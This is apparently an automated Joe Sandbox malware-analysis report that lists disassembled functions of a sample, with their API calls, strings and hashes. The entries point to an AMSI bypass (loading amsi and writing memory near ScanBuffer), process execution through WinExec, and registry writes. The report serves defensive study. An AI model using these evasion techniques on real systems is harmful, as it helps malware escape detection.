Instruction Fuzzy Hash: A7431875A1415A8FDB25FB64CD909DEB3B6EF89344F1044E6E00DEB214DA31AE86CF60

Function 02B81724 Relevance: 9.0, APIs: 7, Instructions: 289
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000,?,02B82000), ref: 02B817D0
Sleep.KERNEL32(0000000A,00000000,?,02B82000), ref: 02B817E6

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: dcbeaecd44160ed00bb6c443458a14230e2c632fdb58d54930102f9940a38e05
Instruction ID: 4659c0edcf4ed7d2172b18ebae85d2bc287b7919121400b5240255bb426656ce
Opcode Fuzzy Hash: dcbeaecd44160ed00bb6c443458a14230e2c632fdb58d54930102f9940a38e05
Instruction Fuzzy Hash: 41B10E76A123418BDB15EF2CD890395BBE1EB85390F0886AED55DCF285E770E452CB90

Function 02B9870C Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 35
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(amsi), ref: 02B98715

Part of subcall function 02B980C8: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02B98150,?,?,00000000,00000000,?,02B98069,00000000,KernelBASE,00000000,00000000,02B98090), ref: 02B98115
Part of subcall function 02B980C8: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02B9811B
Part of subcall function 02B980C8: GetProcAddress.KERNEL32(?,?), ref: 02B9812D

Part of subcall function 02B97D00: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02B97D74

FreeLibrary.KERNEL32(00000000,00000000,?,?,00000006,?,?,000003E7,00000040,?,00000000,DllGetClassObject), ref: 02B98774

Strings

DllGetClassObject, xrefs: 02B9873A
W, xrefs: 02B98721
amsi, xrefs: 02B98710

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: AddressLibraryProc$FreeHandleLoadMemoryModuleVirtualWrite
String ID: DllGetClassObject$W$amsi
API String ID: 941070894-2671292670
Opcode ID: c566c85ba6d9c4aa4ad4b05de9c60ff6652dadfc482011fc61fbe8fdcf7fecca
Instruction ID: 7300798bce4279369654a749e424877ccd92494a5b572c662c1d0fcac9e8f51e
Opcode Fuzzy Hash: c566c85ba6d9c4aa4ad4b05de9c60ff6652dadfc482011fc61fbe8fdcf7fecca
Instruction Fuzzy Hash: D4F0A4B010C38179E601E7748C45F4FBFCD4B52224F048AACF1E8562D2D679D10497A7

Function 02B81A8C Relevance: 7.7, APIs: 6, Instructions: 175
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000,?,?,00000000,02B81FE4), ref: 02B81B17
Sleep.KERNEL32(0000000A,00000000,?,?,00000000,02B81FE4), ref: 02B81B31

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: ce04d7b0d056510b68052f454514901f0fc02d285d965b88d6881baf796bc048
Instruction ID: 26725217c729d7ff251816e8f5c08fcca02ecd81aa265773516848e1e053c8bb
Opcode Fuzzy Hash: ce04d7b0d056510b68052f454514901f0fc02d285d965b88d6881baf796bc048
Instruction Fuzzy Hash: 6151EE716222408FE715EF6CC9847A6BBD0EF45314F1885EEE54CCB282E770C846CBA1

Function 02B9E2F6 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 112
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02B9E436

Strings

ScanBuffer, xrefs: 02B9E37F
Initialize, xrefs: 02B9E326
OpenSession, xrefs: 02B9E3D8

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: CheckConnectionInternet
String ID: Initialize$OpenSession$ScanBuffer
API String ID: 3847983778-3852638603
Opcode ID: 9d0e6a32140e7a8b249387eb05bde5039b3782148aa7d315843d3ff7631bacb5
Instruction ID: 739d1446f386749088442c03efebcaf91c96b8ad69653babc91da527cde85ad6
Opcode Fuzzy Hash: 9d0e6a32140e7a8b249387eb05bde5039b3782148aa7d315843d3ff7631bacb5
Instruction Fuzzy Hash: 0A410835A50109AFEB10FBA4C880A9EB3FAEF89710F2148B6E145A7250DA75ED05CF61

Function 02B9840E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46processCOMMON

Download Yara Rule

APIs

Part of subcall function 02B98020: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02B98090,?,?,00000000,?,02B97A06,ntdll,00000000,00000000,02B97A4B,?,?,00000000), ref: 02B9805E
Part of subcall function 02B98020: GetModuleHandleA.KERNELBASE(?), ref: 02B98072

Part of subcall function 02B980C8: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02B98150,?,?,00000000,00000000,?,02B98069,00000000,KernelBASE,00000000,00000000,02B98090), ref: 02B98115
Part of subcall function 02B980C8: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02B9811B
Part of subcall function 02B980C8: GetProcAddress.KERNEL32(?,?), ref: 02B9812D

WinExec.KERNEL32(?,?), ref: 02B98478

Strings

Kernel32, xrefs: 02B9845B
WinExec, xrefs: 02B98429

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: HandleModule$AddressProc$Exec
String ID: Kernel32$WinExec
API String ID: 2292790416-3609268280
Opcode ID: dc63219bb448623362a07fa887962068cc2ba0b03757af0a98137b92b60f88f4
Instruction ID: c8433b8e344168da69169b0acd526b35c8d239ed4f5b18cda15c1737f9cb83d4
Opcode Fuzzy Hash: dc63219bb448623362a07fa887962068cc2ba0b03757af0a98137b92b60f88f4
Instruction Fuzzy Hash: 63018C35650204BFEF10EFA8DC41B5E77EDEB4AB40FA184B1F508EBA50D674AD10CA24

Function 02B98410 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45processCOMMON

Download Yara Rule

APIs

Part of subcall function 02B98020: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02B98090,?,?,00000000,?,02B97A06,ntdll,00000000,00000000,02B97A4B,?,?,00000000), ref: 02B9805E
Part of subcall function 02B98020: GetModuleHandleA.KERNELBASE(?), ref: 02B98072

Part of subcall function 02B980C8: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02B98150,?,?,00000000,00000000,?,02B98069,00000000,KernelBASE,00000000,00000000,02B98090), ref: 02B98115
Part of subcall function 02B980C8: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02B9811B
Part of subcall function 02B980C8: GetProcAddress.KERNEL32(?,?), ref: 02B9812D

WinExec.KERNEL32(?,?), ref: 02B98478

Strings

Kernel32, xrefs: 02B9845B
WinExec, xrefs: 02B98429

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: HandleModule$AddressProc$Exec
String ID: Kernel32$WinExec
API String ID: 2292790416-3609268280
Opcode ID: b7a1d9cc486bbc008fe8c67096602234df47546d62e85bb4aa8ffc4865a5f02d
Instruction ID: 2c7f397d2829a548fd2e499b5b30cb4cbd891d7a08e97a889313c8f9122c5a7b
Opcode Fuzzy Hash: b7a1d9cc486bbc008fe8c67096602234df47546d62e85bb4aa8ffc4865a5f02d
Instruction Fuzzy Hash: EDF08C35650204BFEF10EFA8DC41B5E77EDEB4AB40FA184B1F508EBA50D674AD10CA24

Function 02B95BB4 Relevance: 4.6, APIs: 3, Instructions: 105fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,00000000,02B95CFC,?,?,02B93888,00000001), ref: 02B95C10
GetLastError.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,00000000,02B95CFC,?,?,02B93888,00000001), ref: 02B95C3E

Part of subcall function 02B87D18: CreateFileA.KERNEL32(00000000,00000000,00000000,00000000,00000003,00000080,00000000,?,?,02B93888,02B95C7E,00000000,02B95CFC,?,?,02B93888), ref: 02B87D66

Part of subcall function 02B87F20: GetFullPathNameA.KERNEL32(00000000,00000104,?,?,?,02B93888,02B95C99,00000000,02B95CFC,?,?,02B93888,00000001), ref: 02B87F3F

GetLastError.KERNEL32(00000000,02B95CFC,?,?,02B93888,00000001), ref: 02B95CA3

Part of subcall function 02B8A700: FormatMessageA.KERNEL32(00003200,00000000,?,00000000,?,00000100,00000000,?,02B8C361,00000000,02B8C3BB), ref: 02B8A71F

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: CreateErrorFileLast$FormatFullMessageNamePath
String ID:
API String ID: 503785936-0
Opcode ID: 24f81dd262b355e21807b5d0a1eb9cd222e08e1ccab95ba5b5147219d15f936a
Instruction ID: 9fb7b2a183fcc379a069052d6632742e3862c5291a090e988421c2a261e26e0f
Opcode Fuzzy Hash: 24f81dd262b355e21807b5d0a1eb9cd222e08e1ccab95ba5b5147219d15f936a
Instruction Fuzzy Hash: B5317274A402099FDF11EFA8C881BDEBBF6AF48714F9084A5E908E7380D7755905CFA1

Function 02B9E6BE Relevance: 4.6, APIs: 3, Instructions: 59registryCOMMON

Download Yara Rule

APIs

RegOpenKeyA.ADVAPI32(?,00000000,02CD5914), ref: 02B9E704
RegSetValueExA.ADVAPI32(000008E8,00000000,00000000,00000001,00000000,0000001C,00000000,02B9E76F), ref: 02B9E73C
RegCloseKey.ADVAPI32(000008E8,000008E8,00000000,00000000,00000001,00000000,0000001C,00000000,02B9E76F), ref: 02B9E747

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: CloseOpenValue
String ID:
API String ID: 779948276-0
Opcode ID: d9edcb7f6cfbf29bbf1e568fc53661ee71286bf2025575d9773b29ff3dc5fdd3
Instruction ID: 6af58e9aacecf65a78b28b86c39bf8c17226a8a353901134eb57350ef633db64
Opcode Fuzzy Hash: d9edcb7f6cfbf29bbf1e568fc53661ee71286bf2025575d9773b29ff3dc5fdd3
Instruction Fuzzy Hash: D6113D71610209AFEB10FFA8C881EAA77FDEB48750F8045B1F608D7250DB34DE01CA61

Function 02B9E6C0 Relevance: 4.6, APIs: 3, Instructions: 58registryCOMMON

Download Yara Rule

APIs

RegOpenKeyA.ADVAPI32(?,00000000,02CD5914), ref: 02B9E704
RegSetValueExA.ADVAPI32(000008E8,00000000,00000000,00000001,00000000,0000001C,00000000,02B9E76F), ref: 02B9E73C
RegCloseKey.ADVAPI32(000008E8,000008E8,00000000,00000000,00000001,00000000,0000001C,00000000,02B9E76F), ref: 02B9E747

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: CloseOpenValue
String ID:
API String ID: 779948276-0
Opcode ID: 6985b353c802adaf7f2504652748b1c9417abfe63e6e1ce745d9ab3d58dbe7bd
Instruction ID: 7fc49a04c2f4d6a8e1589030a0e7e00c3bed222dbed0d40b3191edefecfeb52a
Opcode Fuzzy Hash: 6985b353c802adaf7f2504652748b1c9417abfe63e6e1ce745d9ab3d58dbe7bd
Instruction Fuzzy Hash: C0114F71610209AFEB10FFA8C881E9E77FDEB48750F8045B1F608D7250DB34DA01CA61

Function 02B8E2EC Relevance: 4.5, APIs: 3, Instructions: 45COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 02B8E2FB

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 14beb617443578ad59f747a29bb65dfdb10a2dd5eae48a511f3b8e1777693c0c
Instruction ID: 1859afdcfd286aa93c3a75f9b7c87125ffbd20b7450086943ffe964d69a4c1ee
Opcode Fuzzy Hash: 14beb617443578ad59f747a29bb65dfdb10a2dd5eae48a511f3b8e1777693c0c
Instruction Fuzzy Hash: 45F0F660704200C7CB26BB38DCC4A6D279AAF81710B50D4F6F48E9B255CB34DC45DB62

Function 02B84CFC Relevance: 4.5, APIs: 3, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(02B9E950), ref: 02B84C1A
SysAllocStringLen.OLEAUT32(?,?), ref: 02B84D07
SysFreeString.OLEAUT32(00000000), ref: 02B84D19

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: String$Free$Alloc
String ID:
API String ID: 986138563-0
Opcode ID: 91ceca5fa6b4b00783c1dc5844824a1c1d513446ded2c2740a365c4c94c32ece
Instruction ID: b3c61be89990536d5091799c2d160b0c2d3a2110da915f46c909d2db59ea3543
Opcode Fuzzy Hash: 91ceca5fa6b4b00783c1dc5844824a1c1d513446ded2c2740a365c4c94c32ece
Instruction Fuzzy Hash: AAE0ECB81162025EEA143F259840B37377AEF81751B1444D9A94CCA150E734C842EE35

Function 02B97064 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 256COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 02B97362

Strings

H, xrefs: 02B97119

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: FreeString
String ID: H
API String ID: 3341692771-2852464175
Opcode ID: 2aa94389059a6bb7ebf9b0e3b5e5a8e3760db57638e6ea192be0ec45815cc571
Instruction ID: 3897a4337b0f9eb21e0ab62e6bcaccd4f86bbe47285dbb80255d5f753c4e5d43
Opcode Fuzzy Hash: 2aa94389059a6bb7ebf9b0e3b5e5a8e3760db57638e6ea192be0ec45815cc571
Instruction Fuzzy Hash: 5AB1E4B4A116089FDB14CF99D880A9DFBF2FF4A314F2485A9E845AB360DB31AC45DF50

Function 02B98824 Relevance: 3.1, APIs: 2, Instructions: 65libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00000000,00000000,02B9890B), ref: 02B98858

Part of subcall function 02B98020: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02B98090,?,?,00000000,?,02B97A06,ntdll,00000000,00000000,02B97A4B,?,?,00000000), ref: 02B9805E
Part of subcall function 02B98020: GetModuleHandleA.KERNELBASE(?), ref: 02B98072

Part of subcall function 02B980C8: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02B98150,?,?,00000000,00000000,?,02B98069,00000000,KernelBASE,00000000,00000000,02B98090), ref: 02B98115
Part of subcall function 02B980C8: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02B9811B
Part of subcall function 02B980C8: GetProcAddress.KERNEL32(?,?), ref: 02B9812D

Part of subcall function 02B97D00: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02B97D74

FreeLibrary.KERNEL32(74FC0000,00000000,02BE1388,Function_000065D8,00000004,02BE1398,02BE1388,05F5E0FF,00000040,02BE139C,74FC0000,00000000,00000000,00000000,00000000,02B9890B), ref: 02B988EB

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: HandleModule$AddressLibraryProc$FreeLoadMemoryVirtualWrite
String ID:
API String ID: 3283153180-0
Opcode ID: bd85bd89ca380081145391118e2c278bbe93d12e23870aed4cf5a1183082fb03
Instruction ID: e17f84f32e0cd69a58b70d613c44507779445a2b0937006cdc1aaac55e2c3e7c
Opcode Fuzzy Hash: bd85bd89ca380081145391118e2c278bbe93d12e23870aed4cf5a1183082fb03
Instruction Fuzzy Hash: 0C115170A50304BFEF10FBA8C802A5E77A9DB46700F6048F4B60DEBA91DA349D10DB54

Function 02B8E6E8 Relevance: 3.1, APIs: 2, Instructions: 63COMMON

Download Yara Rule

APIs

VariantCopy.OLEAUT32(00000000,00000000), ref: 02B8E709

Part of subcall function 02B8E2EC: VariantClear.OLEAUT32(?), ref: 02B8E2FB

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: Variant$ClearCopy
String ID:
API String ID: 274517740-0
Opcode ID: 17c611584ad7faeb75da1bdde0fef493f94f38fb8c05fe8df8bff5fb1dd233cb
Instruction ID: 7bf1e3ded4864f61c59ca6fb385dc82c66579b4beab6ad006c9d07fb8418dab2
Opcode Fuzzy Hash: 17c611584ad7faeb75da1bdde0fef493f94f38fb8c05fe8df8bff5fb1dd233cb
Instruction Fuzzy Hash: 9211A138B0022097CB25BF28CDC466677EADF9575071494E6FA4E8B256EB30CC41CBA6

Function 02B8E384 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 02B8E3C4

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
